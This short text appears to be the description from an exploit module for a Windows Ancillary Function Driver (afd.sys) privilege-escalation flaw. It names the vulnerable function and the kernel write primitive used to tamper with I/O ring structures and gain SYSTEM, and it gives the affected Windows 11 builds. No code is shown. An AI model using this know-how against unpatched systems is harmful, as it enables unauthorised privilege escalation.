            A vulnerability exists in the Windows Ancillary Function Driver for Winsock
            (`afd.sys`) can be leveraged by an attacker to escalate privileges to those of
            NT AUTHORITY\SYSTEM. Due to a flaw in `AfdNotifyRemoveIoCompletion`, it is
            possible to create an arbitrary kernel Write-Where primitive, which can be used
            to manipulate internal I/O ring structures and achieve local privilege
            escalation.

            This exploit only supports Windows 11 22H2 up to build 22621.963 (patched in
            January 2023 updates).
